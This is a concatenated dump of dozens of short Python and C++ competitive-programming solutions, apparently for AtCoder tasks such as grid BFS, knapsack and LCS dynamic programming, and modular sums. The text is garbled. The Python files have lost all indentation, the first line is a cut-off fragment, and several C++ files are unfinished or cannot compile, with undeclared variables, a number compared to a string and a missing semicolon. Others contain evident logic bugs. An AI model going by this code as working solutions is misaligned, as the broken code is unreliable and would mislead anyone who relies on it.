print(str("{:.7f}".format((W*H)/2)),' 0')<file_sep>X,t = map(int,input().split())
if X >= t:
print(X-t)
else:
print(0)<file_sep>a,b = map(int,input().split())
gap = abs(a-b)
high = list(range(1,gap))
print(sum(high)-a)<file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
#define endl "\n"
int main() {
int R, C, s_y, s_x, g_y, g_x;
cin >> R >> C;
cin >> s_y >> s_x;
--s_y; --s_x;
cin >> g_y >> g_x;
--g_y;--g_x;
vector<vector <char>> c(R, vector<char>(C));
vector<vector <int>> ans(R, vector<int>(C));
queue<pair<int, int>> que;
rep(i, R) {
rep(j, C) {
cin >> c[i][j];
}
}
int dx[4] = {1, 0, -1, 0}, dy[4] = {0, 1, 0, -1};
que.push(make_pair(s_y, s_x));
c[s_y][s_x] = '#';
ans[s_y][s_x] = 0;
while (!que.empty()){
pair<int, int> now = que.front(); que.pop();
if (now.first == g_y && now.second == g_x) {
break;
}
for(int i = 0; i < 4; ++i) {
int ny = now.first + dy[i], nx = now.second + dx[i];
if (0 <= ny && ny < R && 0 <= nx && nx < C && c[ny][nx] != '#') {
que.push(make_pair(ny, nx));
ans[ny][nx] = ans[now.first][now.second] + 1;
c[ny][nx] = '#';
}
}
}
// 結果の表示
// for(auto e : ans) {
// for(auto f : e) {
// cout << f << " ";
// }cout << endl;
// }cout << endl;
cout << ans[g_y][g_x] << endl;
return 0;
}
<file_sep>'''
Dについてのinputのみを利用する
Dについてのinputをソートして、その
D[int(len(D)/2)]とD[int(len(D)/2)-1]の差を求める
'''
N = input()
D = [int(i) for i in list(input().split())]
D.sort()
print(int(D[int(len(D)/2)])-int(D[int(len(D)/2)-1]))
# print('D/2:',int(D[int(len(D)/2)-1]))
# print('D/2+1:',int(D[int(len(D)/2)]))
# print('gap:',int(D[int(len(D)/2)])-int(D[int(len(D)/2)-1]))
<file_sep>N = int(input())
A = list(map(int,input().split()))
mod = 1000000007
sum_A = 0
for i in range(N):
A[i] = A[i] % mod
sum_A += A[i]
ans = 0
for i in range(N-1):
sum_A -= A[i]
ans = (ans + (A[i] * sum_A) % mod) % mod
print(ans)
<file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
#define endl "\n"
int main() {
string s, t;
cin >> s;
cin >> t;
vector<vector<int>> DP(s_size+1, vector<int>(t_size+1, 0));
// for (int i = 1; i <= s_size; ++i) {
// for (int j = 1; j <= t_size; ++j) {
// if (s[i-1] == t[j-1]) {
// // cout << i << " : " << j << " => " << s[i-1] << endl;
// DP[i][j] = DP[i-1][j-1]+1;
// } else {
// DP[i][j] = max(DP[i-1][j], DP[i][j-1]);
// }
// }
// }
for (int i = s_size; 1 < i; --i) {
for (int j = t_size; 1 < j; --j) {
if (s[i-1] == t[j-1]) {
// cout << i << " : " << j << " => " << s[i-1] << endl;
DP[i][j] = DP[i-1][j-1]+1;
} else {
DP[i][j] = max(DP[i-1][j], DP[i][j-1]);
}
}
}
string ans = "";
while(s_size!=0 && t_size!=0) {
if(DP[s_size-1][t_size]==DP[s_size][t_size]) {
--s_size;
} else if(DP[s_size][t_size-1]==DP[s_size][t_size]) {
--t_size;
} else {
ans = t[t_size-1]+ans;
--s_size; --t_size;
}
}
cout << ans << endl;
return 0;
}
<file_sep>#最小公倍数を求めるgcd()はmath.gcd()もあるが、
#Atcoderのバージョン関係で、fractions.gcd()を利用する
#A / C → 0~Aに含まれるCの割り切れる個数
#全体の対象の数-(Cで割り切れる個数+Dで割り切れる個数-CとDの最小公倍数で割り切れる数)
import fractions
A,B,C,D = map(int, input().split())
c_and_d=C*D
#CとDの最小公倍数を求める
lcm = int(C*D//fractions.gcd(C,D))
count_C =0
count_D =0
count_C_and_D =0
count_C = int(B//C)-int((A-1)//C)
count_D = int(B//D)-int((A-1)//D)
count_C_and_D = int(B//lcm)-int((A-1)//lcm)
print(int((B-A+1) -(count_C + count_D - count_C_and_D)))<file_sep>x,y = map(int,input().split())
A =[1,3,5,7,8,10,12]
B =[4,6,9,11]
C =[2]
if x in A and y in A:
print('Yes')
elif x in B and y in B:
print('Yes')
elif x in C and y in C:
print('Yes')
else:
print('No')<file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
ll N, K, ans_len = 0, right = 0, target=1;
cin >> N >> K;
vector<ll> s(N);
rep(i, N) {
cin >> s.at(i);
}
// 入力に0がある場合は N を出力
rep(i, N) {
if (s[i] == 0) {
cout << N << endl;
return 0;
}
}
for (ll left = 0; left < N; ++left) {
while (right < N && target * s[right] <= K) {
target *= s[right];
++right;
}
ans_len = max(ans_len, right - left);
if (left == right) {
++right;
} else {
target /= s[left];
}
}
cout << ans_len <<"\n";
return 0;
}
<file_sep>S = list(input())
list_len = len(S)
if list_len == len(set(S)):
print('yes')
else:
print('no')<file_sep>N, W = map(int, input().split())
DP = [0] * (W + 1)
for i in range(N):
w, v = map(int, input().split())
for j in range(W+1, (W+1)-w , -1 ):
DP[j] = map(DP[j], DP[j - w] + v)
print(DP[-1])
<file_sep>A,B,C = map(int,input().split())
print((B*C)*2 + (B+C)*A*2)<file_sep>import math
import sys
def judgement(num):
dest = int(math.sqrt(num))
for i in range(2,dest):
if num % i == 0:
return False
return True
X = int(input())
while True:
if judgement(X) == False:
X += 1
else:
print(X)
sys.exit()
<file_sep>import numpy as np
N,M = map(int,input().split())
A = np.array(list(map(int,input().split())))
target = np.sum(A)
ans = 0
for i in range(N):
if A[i] >= target/(4*M):
ans += 1
print('Yes') if ans >= M else print('No')
<file_sep>
able = list()
for i in range(103):
able.insert(i, i-1)
X,N = map(int,input().split())
p = list(map(int,input().split()))
for i in range(len(p)):
able.remove(p[i])
target = 1000
ans = 1000
for i in range(len(able)):
if (target > abs(X - able[i])):
# if (target == abs(X - able[i])):
# ans = min(target, able[i])
# else:
target = abs(X - able[i])
ans = able[i]
# print(able[i], abs(X - able[i]), ans)
print(ans)
<file_sep>H,W = map(int,input().split())
S = list()
for i in range(H):
S.append(list(input()))
ans = list()
for i in range(len(S)):
row = list()
for j in range(len(S[i])):
if S[i][j] == '#': # 爆弾だったら#を出力
row.append('#')
continue # この後のfor文内の処理をスキップ
count = 0
check_list =[[i-1,j-1],[i-1,j],[i-1,j+1],[i,j-1],[i,j+1],[i+1,j-1],[i+1,j],[i+1,j+1]]
for c in range(len(check_list)):
if check_list[c][0] >= 0 and check_list[c][0] < len(S) and check_list[c][1] >= 0 and check_list[c][1] < len(S[i]):
if S[check_list[c][0]][check_list[c][1]] == '#':
count += 1
row.append(str(count))
print(''.join(row))<file_sep>A,B,C = map(list,input().split())
# Pythonの三項演算子の書き方、結構違和感ある
print('YES') if A[-1] == B[0] and B[-1] == C[0] else print('NO')<file_sep>A,B = map(int,input().split())
print(int(B/A)+1) if B % A != 0 else print(int(B/A))<file_sep>import sys
A,B,C = map(int,input().split())
for i in range(1,B+1):
if (A*i)%B == C:
print('YES')
sys.exit()
print('NO')<file_sep>X = int(input())
ans = set()
for i in range(1,int(X)):
for j in range(2,11):
if i**j <= X:
ans.add(i**j)
ans_list = list(ans)
if len(ans_list)==0:
print(1)
else:
print(max(ans_list))<file_sep>def counting(tar_word,tar_list):
count = 0
for i in range(len(tar_list)):
if tar_word == tar_list[i]:
count += 1
return count
# 青いカード(1円加算)
N = int(input())
s = list()
for i in range(N):
s.append(str(input()))
# 赤いカード(1円損失)
M = int(input())
t = list()
for i in range(M):
t.append(str(input()))
target = s+t
target = set(target)
target = list(target)
ans = list()
for tar in target:
count = 0
count += counting(tar,s)
count -= counting(tar,t)
ans.append(count)
print(max(ans)) if max(ans) >= 0 else print(0)<file_sep>N,M = map(int,input().split())
target = list()
for i in range(N):
target_list = list(map(int,input().split()))
target_list.pop(0)
target.append(target_list)
# print(target)
ans = dict()
for i in range(0,len(target)):
for j in range(len(target[i])):
if i == 0:
ans[target[i][j]] = 1
else:
if target[i][j] in ans:
ans[target[i][j]] += 1
ans_num = 0
for k in ans.keys():
if ans[k] == N:
ans_num += 1
print(ans_num)
<file_sep>// P34:部分和問題
#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
#define endl "\n"
bool dfs(int i, ll sum, int n, ll k, vector<ll> a) {
if (i == n) {
return k == sum;
}
if (dfs(i+1, sum, n, k, a)) {
return true; // a[i]を使う場合
}
if (dfs(i+1, sum+a[i], n, k, a)) {
return true; // // a[i]を使わない場合
}
return false;
}
int main() {
int n;
ll k;
cin >> n;
vector<int> a(n);
rep(i, n) {
cin >> a.at(i);
}
cin >> k;
if (dfs(0, 0, n, k, a)) {
cout << "Yes" << endl;
} else {
cout << "No" << endl;
}
return 0;
}
// (base) [Arihon] (master *)$./a.out
// 4
// 1 2 4 7
// 13
// Yes
<file_sep>S,T = map(str,input().split())
print(T+S)<file_sep>#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
string w;
map<char, int> mp;
cin >> w;
rep(i, w.length()) {
if (mp[w[i]] == 0) {
mp[w[i]] = 1;
} else {
mp[w[i]] += 1;
}
}
for (const auto& [key, value] : mp) {
if (value % 2 != 0) {
cout << "No" << endl;
return 0;
}
}
cout << "Yes" << endl;
return 0;
}
<file_sep>N,A,B = map(int,input().split())
N_list = list()
for i in range(N+1):
# 各桁をmap関数でリスト化する
array = list(map(int,str(i)))
if sum(array) >= A and sum(array) <= B:
N_list.append(i)
print(sum(N_list))
<file_sep>#include <bits/stdc++.h>
using namespace std;
int main() {
string N,hon,pon,bon;
cin >> N;
hon = "2,4,5,7,9";
pon = "0,1,6,8";
bon = "3";
if (hon.find(N.at(N.size()-1)) != string::npos) {
cout << "hon" << endl;
} else if (pon.find(N.at(N.size()-1)) != string::npos) {
cout << "pon" << endl;
} else {
cout << "bon" << endl;
}
}
<file_sep>// AtCoder Typical Contest002
// https://atcoder.jp/contests/atc002/tasks/abc007_3
// 参考
// https://atcoder.jp/contests/atc002/submissions/13536993
#include <bits/stdc++.h>
using namespace std;
#define rep(i,n) for (int i = 0; i < (n); i++)
#define rep_row(i,n) for (int i = 0; i < (n-1); i++)
vector<string> c;
int main() {
int R, C, s_y, s_x, g_y, g_x;
// インプット
cin >> R >> C;
cin >> s_y >> s_x;
cin >> g_y >> g_x;
c.resize(R);
s_y--;
s_x--;
g_y--;
g_x--;
rep(i,R) {
cin >> c[i]; // マス情報をインプット
}
// 2次配列 (x, y)までのステップ数を格納
vector<vector<int>> dist(R, vector<int>(C, -1));
// キュー
queue<pair<int, int>> que;
// 初期値入力
dist[s_y][s_x] = 0;
que.push(make_pair(s_y, s_x)); // (x, y)座標
// 考えているセルからの移動
int d_y[] = {1, 0, -1, 0};
int d_x[] = {0, 1, 0, -1};
// キューが空になったら終了
while(!que.empty()) {
pair<int, int> now = que.front(); que.pop(); // 今から考えるセル
for (int i = 0; i < 4; i++) {
// 考えているセルからの移動 ↓→↑←
int n_y = now.first + d_y[i];
int n_x = now.second + d_x[i];
if (0 <= n_y && n_y <= R && 0 <= n_x && n_x <= C &&
c[n_y][n_x] != '#' && dist[n_y][n_x] == -1) {
// now のセルの隣のセルが行けたらキューに追加する
que.push(make_pair(n_y, n_x));
dist[n_y][n_x] = dist[now.first][now.second] + 1;
}
}
}
cout << dist[g_y][g_x] << endl;
}
<file_sep>A,B,K = map(int,input().split())
ans =list()
for i in range(A,A+K):
if i <= B:
ans.append(i)
for i in range(B-K+1,B+1):
if A <= i:
ans.append(i)
#リストをset化して、重複を取り除く
ans=list(set(ans))
ans.sort() #昇順にソート
for i in ans:
print(i)<file_sep>T,X = map(int,input().split())
print('{:.10f}'.format(float(T/X)))
<file_sep>#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
bool judgment(int A, int B, int C) {
if (A < B && B < C) {
// cout << A << " " << B << " " << C << " " << endl;
cout << "Yes" << endl;
return true;
} else {
// cout << A << " " << B << " " << C << " " << endl;
return false;
}
}
int main() {
int A, B, C, K, cnt = 0;
cin >> A >> B >> C;
cin >> K;
rep (i, K) {
if (B <= A) {
B *= 2;
++cnt;
} else if (C <= B) {
C *= 2;
++cnt;
}
if (judgment(A,B,C)) {
return 0;
} else {
continue;
}
}
if (A < B && B < C) {
cout << "Yes" << endl;
return 0;
} else {
cout << "No" << endl;
return 0;
}
return 0;
}
<file_sep>import sys
N = int(input())
A = list(map(str,input().split()))
for i in range(N):
if A[i] == '0':
print('0')
sys.exit()
ans = 1
for i in range(N):
ans *= int(A[i])
if ans > 1000000000000000000:
print(-1)
sys.exit()
print(ans)
<file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
#define endl "\n"
int main() {
int N, p=0; // p: 住人の数
cin >> N;
vector<int> a(N);
set<int> s;
rep(i, N) {
cin >> a[i];
p += a[i];
s.insert(a[i]);
}
if (s.size() == 1) { // 全ての島の人数が同じ場合
cout << 0 << endl;
return 0;
}
if (p % N != 0) { // 実現できないパターン
cout << -1 << endl;
return 0;
}
int ave= p / N; // 1つの島に住む人数
int cnt = 0, sum = 0, ans = 0;
rep(i, N) {
sum += a[i];
++cnt;
if (sum == ave * cnt) {
sum = 0;
cnt = 0;
continue;
}
++ans;
}
cout << ans << endl;
return 0;
}
<file_sep>H,W = map(int,input().split())
h,w = map(int,input().split())
print((H*W)-(h*W+(w*(H-h))))<file_sep>D,N = map(int,input().split())
# 100番目はすなわち、100で割り切れるので+1番目とする
if N == 100:
N += 1
target = 100 ** D
print(N*target)<file_sep>N= int(input())
A= list(map(int,input().split()))
Ave = sum(A)/len(A)
abs_distance = list()
for i in range(N):
abs_distance.append(abs(A[i]-Ave))
print(abs_distance.index(min(abs_distance)))<file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
#define endl "\n"
int main() {
ll N, man=0, yu=0, che=0, inp;
cin >> N;
rep(i, N) {
cin >> inp;
man += abs(inp);
yu += abs(inp) * abs(inp);
che = max(che, abs(inp));
}
double yu_d = yu * 1.0;
double yu_ans = pow(yu_d, 0.5);
cout << man << endl;
// cout << yu_ans << endl;
printf("%.13f \n", yu_ans);
cout << che << endl;
return 0;
}
<file_sep>N = int(input())
A = list(map(int, input().split()))
A.sort() # 昇順ソート
max_a = A[-1]
ans = [0, 0]
for i in range(2, max_a + 1):
cnt = 0
for j in range(len(A)):
if A[j] % i == 0:
cnt += 1
if ans[1] < cnt:
ans[0] = i
ans[1] = cnt
print(ans[0])
<file_sep># https://atcoder.jp/contests/abc076/tasks/abc076_c
import sys
import numpy as np
S_ = np.array(list(input()))
T = np.array(list(input()))
ans = np.empty(0)
# 文字列Sが存在するかを確かめる
for i in range(len(S_) - len(T)+1):
for j in range(len(T)):
if S_[i+j] == '?' or S_[i+j] == T[j]:
if j == len(T)-1:
# 文字列Sが存在することが確定
S = np.concatenate([S_[:i],T],0) # Tと結合させる
S = ''.join(map(str,S))
ans = np.append(ans,S.replace('?','a'))
else:
# S_の次の文字もTと一致しているかを調べる
continue
else:
break
if len(ans) == 0:
# 文字列Sが存在しない
print('UNRESTORABLE')
sys.exit()
else:
ans.sort()
print(ans[0])
<file_sep>#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
// 割り切れる素数を求める
// eは1が基本の初期値、ただしz = p^eがすでに存在している場合はe++する
int main() {
int count;
long long N;
vector<long long> A(N);
cin >> N;
count = 0;
while (true) {
rep(i, A.size()) {
if (A.at(i) == "hogehoge"){
cout << count << endl;
exit(0);
}
}
count ++
}
}
<file_sep>N,K,M = map(int,input().split())
A = list(map(int,input().split()))
target = M*N # 取得するべき点数
if sum(A)+K >= target:
if sum(A) >= target:
print(0)
else:
print(target-sum(A))
else:
print(-1)<file_sep>// 問題:https://atcoder.jp/contests/dp/tasks/dp_i
// 参考:https://misora192.hatenablog.com/entry/2019/01/07/081144
#include <bits/stdc++.h>
using namespace std;
#define rep(i,n) for (int i = 0; i < (n); i++)
int main(void) {
int N;
cin >> N;
double p[N];
rep(i, N) cin >> p[i];
double dp[N+1][N+1];
rep(i,N+1){
rep(j,N+1){
dp[i][j] = 0.0;
}
}
dp[0][0] = 1.0;
for(int i = 1; i <= N; i++) {
for(int j = 0; j <= i; j++) {
if(j >= 1){
dp[i][j] = dp[i-1][j-1] * p[i-1] + dp[i-1][j] * (1.0 - p[i-1]);
} else {
dp[i][j] = dp[i-1][j] * (1.0 - p[i-1]);
}
}
}
// rep(i,N+1){
// rep(j,N+1){
// cout << dp[i][j] << endl;
// }
// }
double ans = 0.0;
for(int i = (N/2)+1; i <= N; i++) {
// cout << dp[N][i] << endl;
ans += dp[N][i];
}
// 浮動小数点数を出力する精度を設定する(制約10桁)
cout << setprecision(10) << scientific << ans << endl;
return 0;
}
<file_sep>import sys
A,B,C,K = map(int,input().split())
ans = 0
if K >= A:
ans += A
else:
ans += K
K -= A
if K <= 0:
print(ans)
sys.exit()
K -= B
if K > 0:
if K >= C:
ans += (-1*C)
else:
ans += (-1*K)
print(ans)
<file_sep>N,X = map(int,input().split())
target = list()
ans = 0
for i in range(N):
target.append(int(input()))
X -= sum(target)
ans = len(target)
ans += int(X / min(target))
print(ans)<file_sep>N,A,B = map(int,input().split())
set_count = int(N/(A+B))
if N % (A+B) != 0:
ans = set_count * A
last_ball = N - (A+B)*set_count
if last_ball <= A:
ans += last_ball
else:
ans += A
else:
ans = set_count * A
print(ans)<file_sep>s= list(map(str,input().split()))
ans = ''
# 一文字目をとってきて大文字にする
for i in range(len(s)):
s_list = list(s[i])
ans += s_list[0].upper()
print(ans)<file_sep>'''
(1)3つのパッケージから一番大きなパッケージを見つける
(2)残りの2つのパッケージの和が(1)のパッケージと同じ値ならYes、
異なる場合は'No'
'''
a, b, c= map(int, input().split())
Inp = [a,b,c]
Sum = 0
max_num = max(Inp)
Inp.remove(max_num)
for i in Inp: Sum += i
if max_num == Sum: print('Yes')
else: print('No')<file_sep>S = str(input())
day = ['SUN','MON','TUE','WED','THU','FRI','SAT']
print(7-day.index(S))<file_sep>S = str(input())
Q = int(input())
count = 0
for i in range(Q):
Query = list(input().split())
if Query[0] == '1':
count += 1 #countが偶数:正 奇数:逆
else: # T = '2'
if Query[1] == '1':
if count % 2 == 0:
S = Query[2] + S
else:
target = Query[2][::-1]
S = S + target
else: # F = '2'
if count % 2 == 0:
S += Query[2]
else:
target = Query[2][::-1]
S = target + S
if count % 2 == 0:
print(S)
else:
print(S[::-1])<file_sep>N = int(input())
S = list(input())
pre_word = str()
ans = 0
for i in range(N):
if pre_word == S[i]:
continue
else:
ans += 1
pre_word = S[i]
print(ans)
<file_sep>N = int(input())
V = list(map(int,input().split()))
C = list(map(int,input().split()))
profit = 0
for i in range(N):
if V[i]-C[i] > 0:
profit += V[i]-C[i]
print(profit)<file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
int L, H, N, target;
cin >> L >> H;
cin >> N;
vector<int> ans;
rep(i, N) {
cin >> target;
ans.push_back(target);
}
rep(i, N) {
if (ans[i] > H) {
cout << -1 << "\n";
} else if(ans[i] < L) {
cout << L - ans[i] << "\n";
} else {
cout << 0 << "\n";
}
}
return 0;
}
<file_sep>r,g,b = map(int,input().split())
# 4の倍数は下2桁が4で割り切れる
number = [g,b]
print('YES') if int(''.join(map(str,number))) % 4 == 0 else print('NO')<file_sep>N = int(input())
L = list()
for i in range(N):
L_i = int(input())
L.append(L_i)
long_boad = sum(L)
L.sort(reverse=True)
cost = long_boad
for i in range(N - 2):
cost += (long_boad - L[0])
long_boad -= L[0]
L.pop(0)
# print('cost ', i + 1, ' : ', cost)
print(cost)
<file_sep>N = int(input())
a_list = list(map(int,input().split()))
it = iter(a_list)
alice = list()
bob = list()
for i in range(int(len(a_list)+1/2)):
try:
alice.append(max(a_list))
a_list.remove(max(a_list))
bob.append(max(a_list))
a_list.remove(max(a_list))
except ValueError:
break
print(sum(alice)-sum(bob))
<file_sep>K,X = map(int,input().split())
K -= 1
if -1000000 <= X-K:
start = X-K
else:
start = -1000000
if X+K <= 1000000:
goal = X+K
else:
goal = 1000000
ans = list(range(start,goal+1,1))
print(' '.join(map(str,ans)))
<file_sep>import sys
A , B = map(int,input().split())
socket = 0
count = 0
#最初についている1口で足りるとき
if B == 1:
print(0)
sys.exit()
#電源タップを追加する時
while True:
count += 1
socket += A-1
if B - socket <= 1:
print(count)
sys.exit()
# if B == 1:
# print(0)
# sys.exit()
# elif B - int(B/(A-1))*(A-1) > 1:
# ans = int(B/(A-1))+1
# print(ans)
# sys.exit()
# else:
# print(int(B/(A-1)))<file_sep>O = list(input())
E = list(input())
ans = list()
for i in range(max(len(O),len(E))):
try:
ans.extend([O[i],E[i]])
except IndexError:
if len(O) > len(E):
ans.extend(O[i])
else:
ans.extend(E[i])
print(''.join(ans))
<file_sep>target= ['a','e','i','o','u']
c = str(input())
print('vowel') if c in target else print('consonant')<file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
int N, L;
string s;
cin >> N >> L;
vector<string> S(N);
rep(i, N) {
cin >> s;
S.push_back(s);
}
stable_sort(S.begin(), S.end());
for(string i: S) {
cout << i ;
}
cout << "\n";
return 0;
}
<file_sep>class Get_set_num:
def __init__(self):
self.num = int()
def set_num(self,num):
self.num = num
def get_num(self):
return self.num
do = Get_set_num()
Inp = input()
Inp = int(Inp)
#割れる回数が最大の数とその回数を記録するリスト
#max[0]が対象となる数、max[1]が割れた回数
max_list = [1,0]
for i in range(Inp , 1 , -1):
count=0
do.set_num(i)
while i % 2 == 0:
count += 1
i= i/2
if count > max_list[1]:
max_list.clear()
max_list.extend([do.get_num(),count])
print(max_list[0])<file_sep>A,B = map(int,input().split())
ans_list = [A%3,B%3,(A+B)%3]
print('Possible') if 0 in ans_list else print('Impossible')<file_sep>#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
long long N, a, mod = 1000000007, ans = 0, sum_all = 0;
cin >> N;
vector<long long> A(N);
rep(i, N) {
cin >> a;
A[i] = a % mod;
sum_all += A[i];
}
for(long long i = 0; i < N-1; ++i) {
sum_all -= A[i];
// cout << sum_all << " : " << A[i] << endl;
long long temp= (A[i] * sum_all) % mod;
ans = (ans + temp) % mod;
}
cout << ans << endl;
return 0;
}
<file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
int H, W, K, cnt=0, ans=0;
string c_in, target_row;
cin >> H >> W >> K;
vector<string> c(H);
rep(i, H){
cin >> c.at(i);
}
rep(is, 1 << H) {
rep(js, 1 << W) {
int cnt = 0;
rep(i, H) rep(j, W) {
// is >> i & 1
// 2進数(is)のi桁目を取り出して(右シフト)、その1桁目を取り出す(& 1)
if (is >> i&1) continue;
if (js >> j&1) continue;
if (c[i][j] == '#') cnt++;
}
if (cnt == K) ans++;
}
}
cout << ans <<"\n";
return 0;
}
<file_sep>a_1, a_2, a_3, a_4 = map(int, input().split())
print(min(a_1, a_2, a_3, a_4))
<file_sep>#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
string s;
int start = 200005, goal = 0;
cin >> s;
rep(i, s.size()) {
if (s[i] == 'A') {
start = min(i, start);
}
if (s[i] == 'Z') {
goal = max(i, goal);
}
}
cout << abs(start-goal) + 1 << endl;
return 0;
}
<file_sep>X = int(input())
n_1 = int(X/10) #10の位
n_2 = X - n_1*10
print(n_1 + n_2) <file_sep>number = list(map(int,input().split()))
count = 0
while True:
if len(set(number)) == 1:
break
number.sort()
if number[0] == number[1]:
number[0] += 1
number[1] += 1
count+=1
else:
number[0] += 2
count+=1
print(count)
<file_sep>N = int(input())
restaurants = dict()
ans = list()
target = list()
for i in range(N):
S = list(map(str,input().split()))
if S[0] not in restaurants :
restaurants[S[0]] = [int(S[1])]
else:
dict_key = restaurants[S[0]]
dict_key.append(int(S[1]))
dict_key.sort(reverse=True)
restaurants[S[0]] = dict_key
target.append(S[0]+' '+S[1])
restaurants_sorted = sorted(restaurants.items(), key=lambda x:x[0])
for idx in range(len(restaurants_sorted)):
for i in range(len(restaurants_sorted[idx][1])):
print(target.index(restaurants_sorted[idx][0]+' '+str(restaurants_sorted[idx][1][i]))+1)<file_sep>N = int(input())
# 2と1を利用して回答を出力するアルゴリズム
num_2 = int(N / 2)
num_1 = int(N % 2)
count = num_2 + num_1
# 出力
print(count)
for i in range(num_2):
print(2)
for i in range(num_1):
print(1)<file_sep>import sys
X = int(input())
# X =10 ** 18
x = 100
c = 0
interest = 1.01
while True:
c += 1
x = int(x * 1.01)
if x >= X:
print(c)
sys.exit()
<file_sep>x = int(input())
print(100) if x % 100 == 0 else print(100 - (x % 100))<file_sep>X,Y,Z = map(int,input().split())
print(int((X-Z)/(Y+Z)))<file_sep>A,B = map(int,input().split())
target = list(range(1,A+1))
target.extend(list(range(1,B+1)))
target.sort(reverse=True)
print(target[0]+target[1])<file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
#define endl "\n"
int main() {
int H, W;
cin >> H >> W;
vector<vector <char>> a(H, vector<char>(W));
rep(i, H) {
rep(j, W) {
cin >> a[i][j];
}
}
// 入力確認
// for (auto e: a) {
// for (auto i: e) {
// cout << i ;
// } cout << endl;
// }
vector<vector <ll>> DP(H+1, vector<ll>(W+1, 0));
cout << "DP確認" << endl;
for (auto e: DP) {
for (auto i: e) {
cout << i ;
} cout << endl;
}
DP[0][0] = 1; // スタート
for(int i=0; i < H; ++i) {
for(int j=0; j < W; ++j) {
cout << "i : j = " << i << j << endl;
// 右 (もらうDP)
if (a[i][j+1] == '.') {
cout << "DP[i][j+1]" << DP[i][j+1] << endl;
cout << "DP[i][j]" << DP[i][j] << endl;
DP[i][j+1] = (DP[i][j+1] + DP[i][j]) % 1000000007; // ここでsegmentation faultが発生
}
// 下
if (a[i+1][j] == '.') {
DP[i+1][j] = (DP[i+1][j] + DP[i][j]) % 1000000007;
}
}
}
cout << DP[H][W] << endl;
// 入力確認
cout << "出力確認" << endl;
for (auto e: DP) {
for (auto i: e) {
cout << i ;
} cout << endl;
}
return 0;
}
<file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
#define endl "\n"
vector<vector<ll>> dp_def(vector<vector<char>> a, vector<vector<ll>> DP, map<char, vector<pair<int, int>>> mp, pair<int, int> here, int H, int W) {
int i = here.first, j = here.second;
cout << i << " : " << j << endl;
if (0 <= i and i <= H and 0 <= j and j <= W ) {
if (a[i][j] != '#' or a[i][j] == 'G') {
DP[i+1][j] = min(DP[i+1][j], DP[i][j]+1); // 右
dp_def(a, DP, mp, make_pair(i+1, j), H, W);
DP[i-1][j] = min(DP[i-1][j], DP[i][j]+1); // 左
dp_def(a, DP, mp, make_pair(i-1, j), H, W);
DP[i][j-1] = min(DP[i][j-1], DP[i][j]+1); // 上
dp_def(a, DP, mp, make_pair(i, j-1), H, W);
DP[i][j+1] = min(DP[i][j+1], DP[i][j]+1); // 下
dp_def(a, DP, mp, make_pair(i, j+1), H, W);
if (a[i][j] != '.') {
// 英子文字の場合
for (const auto& e: mp[a[i][j]]) {
DP[e.first][e.second] = min(DP[e.first][e.second], DP[i][j]+1);
dp_def(a, DP, mp, make_pair(e.first, e.second), H, W);
}
}
} else {
// "#"の場合
return DP;
}
return DP;
} else {
return DP;
}
}
int main() {
int H, W;
cin >> H >> W;
vector<vector<char>> a(H+1, vector<char>(W+1, '#'));
vector<vector<ll>> DP(H+2, vector<ll>(W+2, 1000000007));
map<char, vector<pair<int, int>>> mp; // {"a": [{1,3}, {4,8}...etc], "b":[...]}
pair<int, int> S, G;
for(int i=1; i <= H; ++i) {
for (int j=1; j <= W; ++j) {
cin >> a[i][j];
if (a[i][j] == 'S') {
S = make_pair(i, j);
a[i][j] = '.';
} else if (a[i][j] == 'G') {
G = make_pair(i, j);
}
if (a[i][j] != '.') {
// 英子文字の場合
mp[a[i][j]].push_back(make_pair(i , j));
}
}
}
// for (const auto& e: mp['b']) {
// cout << e.first << " : " <<e.second << endl;
// }
DP[S.first][S.second] = 0;
DP = dp_def(a, DP, mp, make_pair(S.first, S.second), H, W);
// for (int i=1; i <= H; ++i) {
// for (int j=1; j <= W; ++j) {
// if (a[i][j] != '#') {
// DP[i+1][j] = min(DP[i+1][j], DP[i][j]+1); // 右
// DP[i-1][j] = min(DP[i-1][j], DP[i][j]+1); // 左
// DP[i][j-1] = min(DP[i][j-1], DP[i][j]+1); // 上
// DP[i][j+1] = min(DP[i][j+1], DP[i][j]+1); // 下
// if (a[i][j] != '.') {
// // 英子文字の場合
// for (const auto& e: mp[a[i][j]]) {
// DP[e.first][e.second] = min(DP[e.first][e.second], DP[i][j]+1);
// }
// }
// } else {
// // "#"の場合
// continue;
// }
// }
// }
if (DP[G.first][G.second] != 1000000007) {
cout << DP[G.first][G.second] << endl;
} else {
cout << -1 << endl;
}
return 0;
}
<file_sep>A,B,X = map(int,input().split())
if A <= X :
print('YES') if (X - A) <= B else print('NO')
else:
print('NO')<file_sep>from collections import defaultdict
N = 10000
graph = [defaultdict(int) for _ in range(N)]
print(graph)<file_sep>M,D = map(int,input().split())
